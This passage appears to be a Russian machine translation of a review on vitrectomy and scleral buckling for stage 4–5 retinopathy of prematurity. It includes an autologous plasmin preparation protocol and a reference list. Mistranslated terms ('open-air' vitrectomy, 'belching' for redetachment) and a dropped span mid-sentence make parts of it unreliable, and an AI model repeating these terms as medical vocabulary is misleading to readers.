Кольцевые пряжки вызывают миопические рефракционные изменения из-за удлинения оси и смещения хрусталика вперед20. В среднем индуцированная миопия составляет -2,75 D у взрослых, 21 но намного больше у младенцев в диапазоне от -9 до -11.0 D20,22, который потенциально является амблиогенным. Разделение или удаление экзоплантата рекомендуется при достижении стабильного повторного прикрепления сетчатки22, чтобы снизить риск вторжения и способствовать росту глаза.11,16 Обычно мы удаляем экзоплант через 6 месяцев, если повторное прикрепление сетчатки стабильно или в случаях анизометропии, однако это кажется логично откладывать удаление экзоплантата в нестабильных ситуациях. Опасения по поводу амблиопии с короблением склеры привели к предпочтению витрэктомии на стадии 4 ROP.13,23

ВИТРЕКТОМИЯ

Витрэктомия на поздних стадиях (4 или 5) ROP может дать преимущества; однако это создает определенные проблемы для хирурга.24,25 Витрэктомия может выполняться в условиях закрытой или открытой системы, первая используется чаще. Витрэктомия на открытом воздухе позволяет получить прямой доступ к структурам заднего сегмента после удаления роговицы и хрусталика. В этом методе трепанация роговицы и удаление хрусталика происходит внутрикапсулярно, что позволяет резкое рассечение ретролентальных мембран. Во время операции используется офтальмологическое вискохирургическое устройство, такое как Healon, для улучшения визуализации, разделения сетчатки и возможности задней диссекции.Витрэктомия на открытом воздухе дает преимущества бимануальной диссекции через большой передний разрез и возможность хирургического вмешательства на глазах с помутнением роговицы. 26–28 В настоящее время предпочтение отдается закрытой системной хирургии; трехпортовая система позволяет хирургу переключать руки для выполнения передней диссекции без риска преходящей гипотонии.29 Витрэктомия может выполняться с помощью контактной линзы, бинокулярной системы непрямого офтальмомикроскопа или путем прямой визуализации с помощью операционного микроскопа. .

Витрэктомия у новорожденных отличается от взрослых в нескольких аспектах: 30 (1) место входа должно проходить через pars plicata, а не через pars plana; 31,32 (2) хрусталик относительно больше; (3) задняя отслойка стекловидного тела (PVD) не может быть легко достигнута; (4) разрывы крайне плохо переносятся и редко восстанавливаются успешно; (5) циклитическая и зрачковая мембраны обычны; (6) дополнительные причины структурных нарушений включают иридоретинальные и ретинально-ретинальные спайки; (7) субретинальное кровоизлияние или экссудация и дегенерация пигментного эпителия сетчатки могут препятствовать благоприятным функциональным исходам; и (8) для достижения максимального функционального развития могут потребоваться годы.

В начале операции пациент проходит полное офтальмологическое обследование. Если есть достаточно места для входа в глазное яблоко через pars plicata вместе со свободным ретролентальным пространством, выполняется витрэктомия pars plicata; в противном случае предпочтительна лимбальная витрэктомия с ленсэктомией. Механическая индукция PVD невозможна, и только мембраны, вызывающие тракцию, должны быть высвобождены и сегментированы, насколько это возможно, с помощью витректора (калибр 20, 23 или 25) или ножниц (горизонтальных или вертикальных). Обширная мембранэктомия невозможна и не рекомендуется; мы максимально разрезаем или удаляем перепонки и стараемся избегать ятрогенных разрывов.Мы предпочитаем систему витрэктомии 23 размера из-за ее подходящего размера и возможности снятия периферических тракций (). Устранение всех периферических тракций при витрэктомии 25 калибра может оказаться затруднительным из-за гибкости инструмента, которая ограничивает соответствующие маневры. После снятия тракции происходит повторное прикрепление сетчатки, и внутриглазная тампонада обычно не используется. Пациенты обследуются через день после операции, еженедельно в течение 3 недель, ежемесячно до 6 месяцев и каждые 6 месяцев после этого.В случае частичного повторного прикрепления, повторные операции могут быть рассмотрены при наличии устойчивой тяги.

Витрэктомия 23 степени у пациента с ретинопатией недоношенных 5 стадии.

По нашему недавнему опыту, операция облегчается использованием аутологичного плазмина (неопубликованные данные). В будущем ферментативная витрэктомия может стать основным компонентом хирургии ROP. Для приготовления аутологичного плазмина кровь центрифугируют со скоростью 4000 оборотов в минуту в течение 15 минут до полного осаждения; 1.5 мл плазмы отсасывают в асептических условиях и переносят во флакон со стрептокиназой (750 000 МЕ), уже инкубированный при 37 ° C в течение 15 минут. Флакон осторожно встряхивают в течение 3-5 минут и раствор инкубируют при 37 ° C еще 10 минут; 0,2 мл этого препарата используется для интравитреальной инъекции за 15 минут до операции во время индукции анестезии. полость стекловидного тела в дополнение к снятию переднезадних тракций.19 И пломбирование склеры11,16, и витрэктомия15,34 использовались для лечения поздних стадий ROP; Раньше методом выбора было пломбирование склеры, и витрэктомия рассматривалась только в том случае, если пломбирование не помогло. В настоящее время первичная витрэктомия является предпочтительной для стадии 4 ROP.5,35 Анатомический успех варьируется в зависимости от хирургической техники (витрэктомия или пломбирование) и стадии отслоения (4A или 4B) ​​16-18. Важные недостатки пломбирования склеры, которые отрицательно влияют на функциональность. Результаты включают более низкие показатели анатомического успеха (60–75%), 11,12,15–17 необходимость вторичной процедуры для разделения или удаления окружающего элемента 22 и индукцию тяжелой миопии и анизометропии с последующим риском амблиопии.Результаты витрэктомии на стадии 4 ROP более благоприятны13,18,19,29,36,37 (успех 90% при среднем периоде наблюдения 1 год) по сравнению с процедурами пломбирования склеры. 12–14,29,36,37 Хотя пломбирование склеры процедуры могут обеспечить более высокий анатомический успех по сравнению с необработанными глазами; исследования показали, что витрэктомия с сохранением хрусталика (LSV) может превосходить пломбирование склеры с точки зрения анатомического и функционального успеха. 12–15

Преимущества витрэктомии для продвинутых ROP с RD состоит из непосредственного обращения к тракции без необходимости второй процедуры, избегая сжатия структур переднего сегмента и анатомических искажений, а также менее индуцированной миопии.38 На стадии 4 ROP первоначальная LSV обеспечивает повторное прикрепление сетчатки чаще, чем склеральное пломбирование с анатомическим успехом 82–97% .9,18,36,39 Витреоретинальная хирургия обычно используется для лечения ROP 5 стадии.25 Несмотря на относительно приемлемые показатели повторного прикрепления сетчатки функциональные результаты были плохими.15,34,40–43 Однако, учитывая, что нелеченная стадия 5 ROP заканчивается слепотой, 43 рекомендуется витреоретинальная хирургия.

Наше понимание показаний, сроков и методов хирургического лечения ROP продолжает развиваться.7 В нашей практике витрэктомия выполняется при 4 стадии ROP, а также при 5 стадии в особых случаях. Выбор пломбирования склеры или витрэктомии зависит от стадии ROP, ретролентального поражения, сосудистой активности заболевания (существующая плюс болезнь или неоваскуляризация) и наличия экссудативного компонента. На стадии 4 ROP, в случае переднезадней тракции и достаточного ретролентального пространства для снятия периферической тракции без удаления хрусталика, мы предпочитаем линзосберегающую витрэктомию; с другой стороны, при периферической тракции мы предпочитаем пломбирование склеры.На стадии 5 ROP мы обычно выполняем витрэктомию (), за исключением экссудативных форм, для которых предпочтительнее пломбирование склеры и интравитреальные препараты (анти-VEGF с кортикостероидами или без них). Перегиб склеры вместе с витрэктомией может использоваться в запущенных случаях ROP 5 стадии. Наш алгоритм лечения поздних стадий ROP представлен на (.

фотографий глазного дна до (A) и после витрэктомии (B) у пациента с ретинопатией недоношенной стадии 5. ретинопатия недоношенных.

В неопубликованном исследовании мы использовали комбинированные процедуры (пломбирование склеры и витрэктомия 25 размера) на 21 глазу с 5 стадией ROP. Повторное прикрепление сетчатки было достигнуто полностью в 52,3% (частота успеха) и частично в 23,8% глаз. В течение года произошла повторная отрыжка на трех глазах. Успех коррелировал с активностью заболевания и предоперационным лечением (лазерная терапия или интравитреальный бевацизумаб). Частота окончательного повторного прикрепления составила 38%, что согласуется с некоторыми предыдущими сообщениями.25 Из-за значительной неоднородности популяции пациентов и тяжести заболевания трудно сравнивать результаты различных исследований.Большинство исследований включают разные стадии ROP и используют разные хирургические методы, которые могут объяснить различия в показателях успеха.

Расширенные сосуды радужки и сетчатки указывают на активность заболевания. Обычно мы используем интравитреальный бевацизумаб при сосудисто-активном заболевании (неопубликованные данные). Фармакотерапия против VEGF может помочь в качестве предоперационного адъювантного лечения. Сосудисто-активное заболевание является значительным фактором риска отказа повторного прикрепления сетчатки, особенно на стадии 5 ROP, и предвещает плохой прогноз.44 Плохой зрительный результат после процедур ленсэктомии-витрэктомии по поводу РН из-за ROP указывает на то, что следует делать упор на профилактику RD у недоношенных детей. 40–42 Несмотря на относительно приемлемые показатели повторного прикрепления сетчатки на 5 стадии ROP, функциональный результат был плохим. 15,23,34,40–42 Витрэктомия с энзимом облегчает разделение внутренней ограничивающей мембраны и задней гиалоидной мембраны. 45 Tsukahara et al46 сообщили о полном повторном прикреплении заднего полюса во всех шести последовательно пролеченных глазах с ROP 5 стадии.

Подобно Lakhanpal et al, 29 мы управляем РН, связанной с ROP, посредством (1) наблюдения, (2) только склерального пломбирования, (3) только витрэктомии, (4) витрэктомии плюс склеральное пломбирование и (5) витрэктомии с ленсэктомией. Выбор техники зависит от места тракции и наличия или отсутствия аппозиции сетчатки.

ССЫЛКИ

1. Гилберт С., Филдер А., Гордилло Л., Куинн Дж., Семилья Р., Визинтин П. и др. (Международная группа NO-ROP). Характеристики младенцев с тяжелой ретинопатией недоношенных в странах с низким, средним и высоким уровнем развития: значение для программ скрининга.Педиатрия. 2005; 115: e518–525. [PubMed] [Google Scholar] 2. Карханех Р., Риази-Исфахани М., Лашай А., Чамс Х. Обследование нарушений зрения и слепоты у детей от ретинопатии недоношенных. Иранский J Ophthalmol. 2003. 15: 101–105. [Google Scholar] 3. Мусави С.З., Карханех Р., Риази-Исфахани М., Мансури М.Р., Рухипур Р., Галичи Л. и др. Ретинопатия недоношенных у детей грудного возраста при позднем обследовании сетчатки. J Ophthalmic Vis Res. 2009; 4: 24–28. [Бесплатная статья PMC] [PubMed] [Google Scholar] 4. Карханех Р., Мусави С.З., Риази-Исфахани М., Эбрагимзаде С.А., Рухипур Р., Кадивар М. и др.Заболеваемость и факторы риска ретинопатии недоношенных в третичной глазной больнице в Тегеране. Br J Ophthalmol. 2008; 92: 1446–1449. [PubMed] [Google Scholar] 5. Гибсон Д.Л., Шепс С.Б., Ух-Ш, Шехтер М.Т., Маккормик А.К. Ретинопатия недоношенных, индуцированная слепотой: выживаемость с учетом веса при рождении и новая эпидемия. Педиатрия. 1990; 86: 405–412. [PubMed] [Google Scholar] 6. Лаханпал Р.Р., Сан Р.Л., Альбини Т.А., Хольц Э.Р. Анатомический успех после первичной трехпортовой витрэктомии с сохранением линз при ретинопатии недоношенных 5 стадии.Сетчатка. 2006; 26: 724–728. [PubMed] [Google Scholar] 8. Кошки Р.П., Тан К.Ф. Недоношенные дети с регрессией ретинопатии недоношенных и без нее: сравнение отдаленной (6-10 лет) офтальмологической заболеваемости. J Pediatr Ophthalmol Strabismus. 1989; 26: 271–275. [PubMed] [Google Scholar] 9. Hubbard GB 3rd, Cherwick DH, Burian G. Lenssparing витрэктомия при ретинопатии недоношенных 4 стадии. Офтальмология. 2004; 111: 2274–2277. [PubMed] [Google Scholar] 10. Ertzbischoff LM. Систематический обзор результатов анатомических и зрительных функций у недоношенных детей после склерального пломбирования и витрэктомии по поводу отслойки сетчатки.Adv Neonatal Care. 2004; 4: 10–19. [PubMed] [Google Scholar] 11. Greven C, Tasman W. Выпуклость склеры на стадиях 4B и 5 ретинопатии недоношенных. Офтальмология. 1990; 97: 817–820. [PubMed] [Google Scholar] 12. Noorily SW, Small K, de Juan E. Jr, Machemer R. Хирургия пломбирования склеры при ретинопатии недоношенных 4B стадии. Офтальмология. 1992; 99: 263–268. [PubMed] [Google Scholar] 13. Магуайр AM, Trese MT. Хирургия стекловидного тела с сохранением линз у младенцев. Arch Ophthalmol. 1992; 110: 284–286. [PubMed] [Google Scholar] 14.Магуайр AM, Trese MT. Визуальные результаты витреоретинальной хирургии с сохранением хрусталика у младенцев. Педиатр, офтальмол, косоглазие. 1993; 30: 28–32. [PubMed] [Google Scholar] 15. Trese MT, Droste PJ. Отдаленные послеоперационные результаты последовательной серии ретинопатии недоношенных 4 и 5 стадии. Офтальмология. 1998; 105: 992–997. [PubMed] [Google Scholar] 16. Trese MT. Пломбирование склеры при ретинопатии недоношенных. Офтальмология. 1994; 101: 23–26. [PubMed] [Google Scholar] 17. Hinz BJ, de Juan E Jr, Repka MX. Операция пломбирования склеры при активной ретинопатии недоношенных 4А стадии.Офтальмология. 1998; 105: 1827–1830. [PubMed] [Google Scholar] 18. Капоне-младший, Trese MT. Хирургия стекловидного тела с сохранением линз при тракционной ретинопатии недоношенных отслоек сетчатки 4А. Офтальмология. 2001; 108: 2068–2070. [PubMed] [Google Scholar] 19. Sears JE, Sonnie C. Анатомический успех витрэктомии с сохранением линз со склеральным пряжением и без него при ретинопатии недоношенных 4 стадии. Am J Ophthalmol. 2007. 143: 810–813. [PubMed] [Google Scholar] 21. Smiddy WE, Loupe DN, Michels RG, Enger C, Glaser BM, deBustros S.Изменения рефракции после операции по пломбированию склеры. Arch Ophthalmol. 1989; 107: 1469–1471. [PubMed] [Google Scholar] 22. Чоу Д.Р., Ферроне П.Дж., Трезе М.Т. Изменения рефракции, связанные с короблением и делением склеры при ретинопатии недоношенных. Arch Ophthalmol. 1998; 116: 1446–1448. [PubMed] [Google Scholar] 23. Куинн Г.Е., Добсон В., Барр С.К., Дэвис Б.Р., Палмер Е.А., Робертсон Дж. И др. Острота зрения после витрэктомии по поводу ретинопатии недоношенных: наблюдение через 5 1/2 лет. Криотерапия ретинопатии недоношенных кооперативов.Офтальмология. 1996. 103: 595–600. [PubMed] [Google Scholar] 24. Cusick M, Charles MK, Agrón E, Sangiovanni JP, Ferris FL 3rd, Charles S. Анатомические и визуальные результаты витреоретинальной хирургии ретинопатии недоношенных 5 стадии. Сетчатка. 2006. 26: 729–735. [PubMed] [Google Scholar] 25. Trese MT. Визуальные результаты и прогностические факторы для зрения после операции по поводу ретинопатии недоношенных V стадии. Офтальмология. 1986; 93: 574–579. [PubMed] [Google Scholar] 26. Хиросе Т, Кацуми О, Мехта MC, Схепенс CL.Зрение при ретинопатии недоношенных 5 стадии после прикрепления сетчатки путем витрэктомии на открытом воздухе. Arch Ophthalmol. 1993; 111: 345–349. [PubMed] [Google Scholar] 27. Тасман В., Боррон Р. Н., Боллинг Дж. Витрэктомия на открытом воздухе при полной отслойке сетчатки при ретинопатии недоношенных. Офтальмология. 1987. 94: 449–452. [PubMed] [Google Scholar] 28. Стейдл С.М., Хиросе Т. Субретинальная организация ретинопатии недоношенных 5 стадии. Graefes Arch Clin Exp Ophthalmol. 2003. 241: 263–268. [PubMed] [Google Scholar] 29. Лаханпал Р.Р., Сан Р.Л., Альбини Т.А., Хольц Э.Р.Степень анатомического успеха после 3-портовой витрэктомии с сохранением линз при ретинопатии недоношенных 4A или 4B стадии. Офтальмология. 2005; 112: 1569–1573. [PubMed] [Google Scholar] 30. Таванси К.А., Самуэль М.А. Ретинопатия недоношенных: практическое хирургическое лечение в новом тысячелетии. Техническая офтальмология. 2004; 2: 60–67. [Google Scholar] 31. Айелло А.Л., Тран В.Т., Рао Н.А. Постнатальное развитие цилиарного тела и pars plana. Морфометрическое исследование в детстве. Arch Ophthalmol. 1992; 110: 802–805. [PubMed] [Google Scholar] 32.Дитл Р. Х., Стефани Ф. Х. Топографо-хирургическая анатомия детской pars plana. Ophthalmologica. 1986; 193: 1–9. [PubMed] [Google Scholar] 33. Rizzo S, Pellegrini G, Benocci F, Belting C, Baicchi U, Vispi M. Аутологичный плазмин для фармакологического витреолиза, приготовленный за 1 час до операции. Сетчатка. 2006. 26: 792–796. [PubMed] [Google Scholar] 34. Минц-Гиттнер HA, O’Malley RE, Kretzer FL. Долгосрочное видение для идентификации формы после ранней закрытой линзэктомии-витрэктомии при ретинопатии недоношенных 5 стадии.Офтальмология. 1997. 104: 454–459. [PubMed] [Google Scholar] 35. Шах П.К., Нарендран В., Калпана Н., Таванси К.А. Анатомо-визуальные исходы ретинопатии недоношенных 4 и 5 стадии. Глаз. 2009; 23: 176–180. [PubMed] [Google Scholar] 36. Преннер JL, Капоне младший, Trese MT. Визуальные результаты после линзовой витрэктомии по поводу ретинопатии недоношенных 4А стадии. Офтальмология. 2004. 111: 2271–2273. [PubMed] [Google Scholar] 37. Мошфеги А.А., Банах М.Дж., Салам Г.А., Ферроне П.Дж. Линзосохраняющая витрэктомия по поводу прогрессирующей тракционной отслойки сетчатки, связанной с ретинопатией недоношенных 4А стадии.Офтальмология. 2004; 122: 1816–1818. [PubMed] [Google Scholar] 38. Гонзалес ЧР, Бошра Дж., Шварц С.Д. Витрэктомия 25-го размера pars plicata при ретинопатии недоношенных 4 и 5 стадии. Сетчатка. 2006; 26: S42–46. [PubMed] [Google Scholar] 39. Хартнетт МЭ, Срилакшми М, Томпсон Х.В., МакКолм-младший. Сравнение результатов ретинальной пломбы или витрэктомии с сохранением хрусталика при ретинопатии недоношенных 4 стадии. Сетчатка. 2004. 24: 753–757. [PubMed] [Google Scholar] 40. Zilis JD, deJuan E, Machemer R. Продвинутая ретинопатия недоношенных Анатомические и визуальные результаты хирургии стекловидного тела.Офтальмология. 1990; 97: 821–826. [PubMed] [Google Scholar] 41. Коно Т., Осима К., Фучино Ю. Хирургические результаты и визуальные результаты хирургии стекловидного тела на поздних стадиях ретинопатии недоношенных. Jpn J Ophthalmol. 2000. 4: 661–667. [PubMed] [Google Scholar] 42. Сибер Дж. Х., Мачемер Р., Элиотт Д., Бакли Е. Г., де Хуан Е., Мартин Д. Ф. Отдаленные визуальные результаты у детей после первоначально успешной витрэктомии по поводу ретинопатии недоношенных V стадии. Офтальмология. 1995. 102: 199–204. [PubMed] [Google Scholar] 43.Капоне-младший, Trese MT. Ретинопатия недоношенных 5 стадии: тогда и сейчас. Сетчатка. 2006; 26: 721–723. [PubMed] [Google Scholar] 44. Лаханпал Р.Р., Фортун Дж. А., Чан-Кай Б., Хольц Э.Р. Ленсэктомия и витрэктомия с интравитреальным введением триамцинолона ацетонида и без него при сосудисто-активной отслойке сетчатки 5 стадии при ретинопатии недоношенных. Сетчатка. 2006; 26: 736–740. [PubMed] [Google Scholar] 45. Уэмура А., Накамура М., Качи С., Нисидзава Ю., Асами Т., Мияке Ю. и др. Влияние плазмина на ламинин и фибронектин во время витрэктомии с применением плазмина.